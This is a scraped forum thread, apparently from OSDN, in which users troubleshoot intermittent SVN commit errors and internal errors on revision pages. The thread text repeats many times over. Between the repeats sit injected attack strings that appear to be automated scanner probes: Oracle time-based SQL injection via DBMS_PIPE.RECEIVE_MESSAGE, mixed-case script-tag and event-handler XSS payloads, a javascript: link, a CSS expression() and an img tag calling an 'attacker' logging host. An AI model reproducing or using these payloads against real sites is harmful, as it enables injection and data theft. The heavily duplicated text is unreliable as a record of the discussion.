Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555\u003CScRiPt\K55P(9438)\u003C/sCripT\u003E
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555<ScRiPt>K55P(9008)</sCripT>
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
@@oz4jb
'"
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555<input autofocus onfocus=K55P(9177)>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
<a HrEF=jaVaScRiPT:>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555}body{zzz:Expre/**/SSion(K55P(9618))}
555
555OEjTE <ScRiPt >K55P(9825)</ScRiPt>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
555<WP5XUQ>ALGOA[!+!]</WP5XUQ>
555<ifRAme sRc=9028.com></IfRamE>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
555<agyUDd4 x=9443>
555<img sRc='http://attacker-9112/log.php?
555<adDonwa<
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
